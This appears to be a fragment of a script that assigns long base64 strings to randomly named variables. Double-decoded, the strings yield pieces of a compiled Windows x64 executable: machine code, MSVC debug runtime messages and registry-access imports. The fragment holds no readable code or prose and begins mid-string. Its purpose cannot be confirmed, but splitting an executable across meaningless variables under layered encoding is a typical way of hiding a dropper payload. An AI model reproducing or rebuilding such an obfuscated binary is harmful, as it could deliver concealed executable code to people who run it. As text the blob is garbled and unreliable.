UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" WzzRmZEXyBwTMR = "QUpRQUFBQUFBQUFBU0lGTlNJekhRRWZBQlp3RlZBQUFBQUFBQUFaVEFVbElpTWRBU2tBRm5BVlVBQUFUeEVCQURnQkFBQUFBQUFBQVM4RkpSY2pFZ0Y1QUF0d0NsQUFBQUFBQUFBQkR3WUFEMVFJQUE4MEJ3QVBNZ3RnQUFBQUFDRUZBZ0FGZEFZQWtCMEJBS3NkQVFCWXhnRUFBQUFBQUNFQUFBQ1FIUUVBcXgwQkFGakdBUUFBQUFBQUFRY0RBQWRDQTNBQ01BQUFBQUFBQUNFTUJBQU05QVFBQlZRSUFFQWVBUUJISGdFQW1NWUJBQUFBQUFBaEJRSUFCV1FKQUVjZUFRQmhIZ0VBcU1ZQkFBQUFBQUFoQlFJQUJlUUtBR0VlQVFCc0hnRUF4TVlCQUFBQUFBQWhBQUFBWVI0QkFHd2VBUURFeGdFQUFBQUFBQ0VBQUFCSEhnRUFZUjRCQUtqR0FRQUFBQUFBSVFBQUFFQWVBUUJISGdFQW1NWUJBQUFBQUFBQkJBRUFCQUlBQUNFRUFnQUVkQUFBUUIwQkFGWWRBUUF3eHdFQUFBQUFBQ0VBQUFCQUhRRUFWaDBCQURESEFRQUFBQUFBQVFRQkFBUmlBQUFCQkFFQUJHSUFBQUVKQVFBSllnQUFBUk1CQUJPaUFBQUJHQUVBR0VJQUFBQUFBQUFCQUFBQUFRUUJBQVJDQUFBQkJBRUFCRUlBQUFFRUFRQUVRZ0FBQVFRQkFBUkNBQUFCQkFFQUJHSUFBQUVFQVFBRWdnQUFBUVFCQUFSQ0FBQUJCQUVBQkVJQUFBRUVBUUFFUWdBQUNRUUJBQVRDQUFBeUVBRUFBUUFBQUxRakFRRDBKQUVBMElBQkFQUWtBUUFBQUFBQUFRWUNBQVl5" UKykwpHdNNGkXiqaxyiBGUNAaUweTdOoBKGRmqRRIiPYTSSdiJISJkCfZAtDnbQmbxxLv = "d0lBQUFBQUFMQVhBZ0FBQUFBQWVoMENBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJzR2dJQUFBQUFBTFlhQWdBQUFBQUEwaG9DQUFBQUFBRHFHZ0lBQUFBQUFQZ2FBZ0FBQUFBQURoc0NBQUFBQUFBYUd3SUFBQUFBQUNvYkFnQUFBQUFBT2hzQ0FBQUFBQUNJR2dJQUFBQUFBR0FhQWdBQUFBQUFWQm9DQUFBQUFBQkVHZ0lBQUFBQUFEUWFBZ0FBQUFBQUhob0NBQUFBQUFEd0dRSUFBQUFBQU9ZWkFnQUFBQUFBM0JrQ0FBQUFBQURPR1FJQUFBQUFBTUFaQWdBQUFBQUFzaGtDQUFBQUFBQ3FHUUlBQUFBQUFLSVpBZ0FBQUFBQWxCa0NBQUFBQUFDSUdRSUFBQUFBQUdZWkFnQUFBQUFBUkJrQ0FBQUFBQUFxR1FJQUFBQUFBQllaQWdBQUFBQUFCaGtDQUFBQUFBRDBHQUlBQUFBQUFPSVlBZ0FBQUFBQTBoZ0NBQUFBQUFESUdBSUFBQUFBQUs0WUFnQUFBQUFBbkJnQ0FBQUFBQUNhR2dJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" mjhLporjewBwRYCGtfVqGnokgrsjpeMt = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" emqkzLZGDkbnWPfWmoTmYGLMiZaEqwpWTekMIGY = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUROWFNEU1p0VC8vektpM3kyWkt3QUFBQUFBQUFBQUFBQUJBQUFBQVFBQUFBRUFBQUFCQUFBQUFRQUFBQUFBQUFELy8vLy9BUUFBQUFFQUFBQUNBQUFBQUFBSUFBQUFBQUFBQUFBQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" LJhyrLoIncLkdHEcvUAqOHrqWcaMMbrRwOoXsjwuIRmckImjwlqUKadNKtyoWTLMabOqb = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek1TSWxjSkFoSWlXd2tFRWlKZENRWVYwaUQ3REJKaTlsSmkvaElpL0pJaStub00rRC8vMHlMVkNSZ1RJdlBUSWxVSkNoTWk4WklpOVZJaVZ3a0lFaUxDT2drNC8vL1NJdGNKRUNGd0VpTGJDUkl1Zi8vLy85SWkzUWtVQTlJd1VpRHhEQmZ3OHpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXhNaVVRa0dFeUpUQ1FnU0lQc09FaU5SQ1JZUlRQSlNJbEVKQ0RvMCtMLy8waUR4RGpEek16TXpNek16TXpNek14SWl3WDVvQUFBdzh6TXpNek16TXpNU0lzRjhhQUFBTVBNek16TXpNek16SVA1QkhjUFNHUEJTSTBOYVlNQUFFaUxCTUhETThERHpNek16TXpNek16TXVBVUFBQUREek16TXpNek16TXpNekVpTEJhbWdBQUJJaVEyaW9BQUFTTWNGbjZBQUFBQUFBQUREek16TXpNek1TSXNGa2FBQUFFaUpEWXFnQUFCSXh3VjNvQUFBQUFBQUFNUE16TXpNek15RCtRUjNGVWhqd1V5TkJmbWVBQUJCaXd5QVFZa1VnSXZCdzdqLy8vLy93OHpNek16TXpNek16TXpNek16TXpNeElpVXdrQ0VpRDdDZ3p5ZjhWZDk4QUFFaUxUQ1F3L3hYazNnQUEveFZlM3dBQXVna0VBTUJJaThqL0ZVamZBQUJJZzhRb3c4ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpFaUpU" xeXzhlxSWXXvlttZcMXmr = "QUFBQUFBQUFBQUFGTjBZV05ySUhCdmFXNTBaWElnWTI5eWNuVndkR2x2YmdBQUFBQUFBQUFBUTJGemRDQjBieUJ6YldGc2JHVnlJSFI1Y0dVZ1kyRjFjMmx1WnlCc2IzTnpJRzltSUdSaGRHRUFBQUFBQUFBQUFBQUFBQUFBQUFCVGRHRmpheUJ0WlcxdmNua2dZMjl5Y25Wd2RHbHZiZ0FBQUFBQUFBQUFBRXh2WTJGc0lIWmhjbWxoWW14bElIVnpaV1FnWW1WbWIzSmxJR2x1YVhScFlXeHBlbUYwYVc5dUFBQUFBQUFBQUFBQUFBQUFBQUFBVTNSaFkyc2dZWEp2ZFc1a0lGOWhiR3h2WTJFZ1kyOXljblZ3ZEdWa0FBQUFBQUFBQUFBQUFLRFJBVUFCQUFBQVFOSUJRQUVBQUFBQUFBQUFBQUFBQUdJQWFRQnVBRndBWVFCdEFHUUFOZ0EwQUZ3QVRRQlRBRkFBUkFCQ0FERUFOQUF3QUM0QVJBQk1BRXdBQUFBQUFGWUFRd0JTQUZVQVRnQlVBRWtBVFFCRkFERUFOQUF3QUVRQUxnQmtBR3dBYkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFZUUJ3QUdrQUxRQnRBSE1BTFFCM0FHa0FiZ0F0QUdNQWJ3QnlBR1VBTFFCeUFHVUFad0JwQUhNQWRBQnlBSGtBTFFCc0FERUFMUUF4QUMwQU1BQXVBR1FBYkFCc0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHRUFaQUIyQUdFQWNBQnBBRE1BTWdBdUFHUUFiQUJzQUFBQUFBQUFBQUFBVW1WblQzQmxia3RsZVVWNFZ3QUFBRkpsWjFGMVpYSjVWbUZzZFdWRmVGY0FB" oyVUxfArLNULzUIgjttUncrGNmKbJostRXGxgsrpsYA = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" EwWonYDzDhRymjiquMYqocSEJJnZeavOftPzjZfaMZlSaPmImpvcCmzJZjsywTyHKU = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" FWMyIMgY = "SWlVd2tDRWlEN0VoSWl3WEFtZ0FBU0lsRUpEQklnM3drTVA5MUxFaUxUQ1JRNklIVC8vK0Z3SFVNU0l0RUpGQklpVVFrSU9zSlNNZEVKQ0FBQUFBQVNJdEVKQ0RyTWVzdlNJdFVKRkJJalExN21nQUE2R3ZVLy8rRndIVU1TSXRFSkZCSWlVUWtLT3NKU01kRUpDZ0FBQUFBU0l0RUpDaElnOFJJdzh6TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNU0lsTUpBaElnK3c0U0lzRk9Kb0FBRWlKUkNRZ1NJTjhKQ0QvZFE1SWkwd2tRT2g4MC8vLzZ4M3JHMGlMUkNSQVNJbEVKQ2hJaTFRa0tFaU5EUWVhQUFEbzM5UC8vMGlEeERqRHpNek16TXpNek16TXpNek16TXpNek16TXpNek1TSWxNSkFoSWcrdzRTSXRNSkVEb0l0TC8vMGlGd0hRS3gwUWtJQUFBQUFEckNNZEVKQ0QvLy8vL2kwUWtJRWlEeERqRHpNek16TXpNek16TXpNek16RUJYU0lQc1FFaU5SQ1FvU0l2NE04QzVDQUFBQVBPcVNJMU1KQ2ovRmNiUkFBQklpMFFrS0VpSlJDUWcveFdtMFFBQWk4QklpMHdrSUVnenlFaUx3VWlKUkNRZy94V20wUUFBaThCSWkwd2tJRWd6eUVpTHdVaUpSQ1FnU0kxTUpERC9GWkhSQUFDTFJDUXdTTUhnSUVnelJDUXdTSXRNSkNCSU04aElpOEZJaVVRa0lFaU5SQ1FnU0l0TUpDQklNOGhJaThGSWlVUWtJRWk0Ly8vLy8vLy9BQUJJaTB3a0lFZ2p5RWlMd1VpSlJDUWdTSXRFSkNCSWc4" LYYYgtKeNO = "RUFBQUZGTThESFJDUWdBQUFBQURQU004bm9YdkQvLzBpTHlFaUR4RGpwQy9ILy8waUR4RGpEek16TXpNek16TXpNek16TXpNek16TXhJZyt3NFFia0JBQUFBeDBRa0lBRUFBQUJGTThBejBqUEo2Qjd3Ly85SWc4UTR3OHpNek16TXpNek16TXpNek14SWlVd2tDRWlEN0RoSWkwUWtRRWlKUkNRZ1NJdEVKRUFQdGdDRndIUVlnejJPdUFBQUFIUVAveFVxOEFBQU9RV0F1QUFBZFFHUVNJUEVPTVBNek16TXpNek16TXpNek16TXpNek16TXpNekV5SlRDUWdUSWxFSkJoSWlWUWtFRWlKVENRSVNJUHNLRWlMUkNSSVRJdEFPRWlMVkNSSVNJdE1KRGpvSGZELy83Z0JBQUFBU0lQRUtNUE16TXpNek16TXpNek16TXpNek16TXpNek16TXpNVElsRUpCaElpVlFrRUVpSlRDUUlTSVBzV0VpTFJDUndpd0NENFBpSlJDUWdTSXRFSkdCSWlVUWtPRWlMUkNSd2l3REI2QUtENEFHRndIUXBTSXRFSkhCSVkwQUVTSXRNSkdCSUE4aElpOEZJaTB3a2NJdEpDUGZaU0dQSlNDUEJTSWxFSkRoSVkwUWtJRWlMVENRNFNJc0VBVWlKUkNRd1NJdEVKR2hJaTBBUWkwQUlTSXRNSkdoSUEwRUlTSWxFSkVCSWkwUWtZRWlKUkNRb1NJdEVKRUFQdGtBREpBOFB0c0NGd0hRbVNJdEVKRUFQdGtBRHdPZ0VKQThQdHNCcndCQkltRWlMVENRb1NBUElTSXZCU0lsRUpDaElpMFFrS0VpTFRDUXdTRFBJU0l2QlNJbEVKREJJaTB3a01Pam03" pheHdhgetPucMsVcfiHrhrcpKwuklhIYmvBQvkydUigvKCAfHsihqnpAmpTZhDTZR = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" NXKmCFlWcjX = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFRQVlBQUFBR0FBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQVFBQkFBQUFNQUFBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBUUFKQkFBQVNBQUFBSEJCQWdCOUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" QUukdsuDLJmKubdyASnDeGkASEJCcErPLDLhGtHDhngKqmI = "Ly8vU0lQRVdNUE16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek14bVpnOGZoQUFBQUFBQVNEc040YTBBQUhVUVNNSEJFR2Izd2YvL2RRSERTTUhKRU9rbTd2Ly96TXpNek16TXpNek16TXpNek16TXpNek1TSVBzS09obDd2Ly82TUx3Ly8vb3JPMy8vN2tCQUFBQTZHL3UvLzhQdHNDRndIVUt1UWNBQUFEb2lmRC8vK2hzNy8vL1NJME5rdS8vLytpNzd2Ly82SDd2Ly8rRndIUUt1UWNBQUFEb1pmRC8vK2dJN3YvLzZIcnYvLytGd0hRTVNJME44KzMvLytoYjcvLy82S3J3Ly8vb1ErNy8vK2lvN2YvL2k4am9TKzcvLytqTjd2Ly9EN2JBaGNCMEJlaEo3di8vNlAzdS8vL29nL0QvLzRYQWRBcTVCd0FBQU9nTThQLy9NOEJJZzhRb3c4ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNeElnK3dvNkpmdi8vOHp3RWlEeENqRHpNek16TXpNek16TXpNek16TXpNekVpRDdDam8wdTcvLytnZjdmLy9pOGpvWnUvLy8waUR4Q2pEek16TXpNek1TSVBzS09nQzcvLy82QklBQUFCSWc4UW93OHpNek16TXpNek16TXpNek14SWcreG91UUVBQUFEbzYrLy8vdysyd0lYQWRRcTVCd0FBQU9oWTcvLy94a1FrSUFEb1l1Ly8vNGhF" EtChjxuOXhmrIvqKWXIxaPTAo = "T2xjTkFBQTZTMUpBQURwZGtrQUFPbE5IZ0FBNlVSS0FBRHBKMG9BQU9sK0RRQUE2WWtUQUFEcExra0FBT21QTkFBQTZReEpBQURwVlM4QUFPa3dNd0FBNmROSUFBRHBsRWtBQU9tQlNnQUE2WkJKQUFEcGgwb0FBT2swU2dBQTZWMUtBQURwNkFzQUFPa3pGd0FBNmZaSkFBRHBxVWtBQU9uMEJRQUE2UzhVQUFEcEdqSUFBT2xsU2dBQTZTQXRBQURwS3pjQUFPa1dTZ0FBNllkSkFBRHBIQzhBQU9rbkxnQUE2UUlnQUFEcFRUZ0FBT25JUGdBQTZiTW5BQURwK0VnQUFPbGxTUUFBNllRbUFBRHB2MGdBQU9uNkxnQUE2ZFZKQUFEcDFFZ0FBT2xMTGdBQTZmWXVBQURwUTBrQUFPbjhOUUFBNmVjMEFBRHA0aVVBQU9tVFNBQUE2ZWdwQUFEcC8wY0FBT21PQ2dBQTZTbERBQURwNUM0QUFPbjVTQUFBNlV4SUFBRHBKU1VBQU9rd0pRQUE2VnNUQUFEcGhnd0FBT214TkFBQTZRcElBQURwOVVnQUFPbCtTQUFBNlNkSkFBRHBpQndBQU9sTFNBQUE2VFpKQUFEcE5VZ0FBT2trSFFBQTZROFVBQURweWd3QUFPbUxSd0FBNllBdEFBRHA2ekFBQU9sNFNBQUE2U0VtQUFEcERBUUFBT25IUndBQTZmSW1BQURwZTBjQUFPa0lOQUFBNlZNd0FBRHAzaVVBQU9raFNBQUE2WFJIQUFEcDN4OEFBT2xxSmdBQTZhbElBQURwZ0FrQUFPbDdTQUFBNlRZTUFBRE16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" oOrwvvNKQtFkUDWgRQhpLEADLhCWJvZqBTozLaRsgikdVKGHTEGzXBpY = "QWxBQkJBRUFCRUlBQUFFSkFRQUpRZ0FBR1I4RkFBMDBpUUFOQVlZQUJuQUFBRThSQVFBZ0JBQUFBQUFBQUJra0J3QVNaSXNBRWpTS0FCSUJoZ0FMY0FBQVR4RUJBQ0FFQUFBQUFBQUFHUjhHQUEwQlB3QUc0QVJ3QTJBQ1VFOFJBUURnQVFBQUFBQUFBQ0VJQWdBSU5ENEFjQ2NCQU04bkFRQlV5QUVBQUFBQUFDRUFBQUJ3SndFQXp5Y0JBRlRJQVFBQUFBQUFBUlFJQUJSa0NnQVVWQWtBRkRRSUFCUlNFSEFBQUFBQUFRNEJBQTVpQUFBWkJBRUFCRUlBQUdZVEFRQUJBQUFBcEM0QkFMb3VBUUFRZ1FFQXVpNEJBQUFBQUFBQkJnSUFCaklDVUFFRUFRQUVvZ0FBQVFRQkFBU2lBQUFaYkFzQWJHVFZBUk1CMWdFTThBcmdDTkFHd0FSd0ExQUNNQUFBVHhFQkFKQU9BQUFBQUFBQUFSQUZBQkJDRFBBSzBBakFCbUFBQUFBQUFBQWhIUWdBSGVRRUFCVjBEUUFOVkF3QUJUUUtBS0FxQVFETktnRUFJTWtCQUFBQUFBQWhBQUFBb0NvQkFNMHFBUUFneVFFQUFBQUFBQUVJQVFBSVFnQUFBUkVCQUJGaUFBQUJCQUVBQkVJQUFBRUpBUUFKWWdBQUFRa0JBQW5pQUFBQkNRRUFDZUlBQUFFSkFRQUpRZ0FBQVFrQkFBbGlBQUFCQ1FFQUNZSUFBQUVKQVFBSllnQUFDUWtCQUFtaUFBQXlFQUVBQVFBQUFFODhBUUN5UEFFQVFJRUJBTEk4QVFBQUFBQUFBUVlDQUFZeUFsQUJCQUVBQklJQUFBRUlBUUFJUWdBQUFRZ0JBQWhDQUFB" SvHaIFYrqYWuSmKFOoPXtUOnfQUrNUfyjodbbRYy = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" WeHDIoVkYMAsJRIxIXO = "TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNe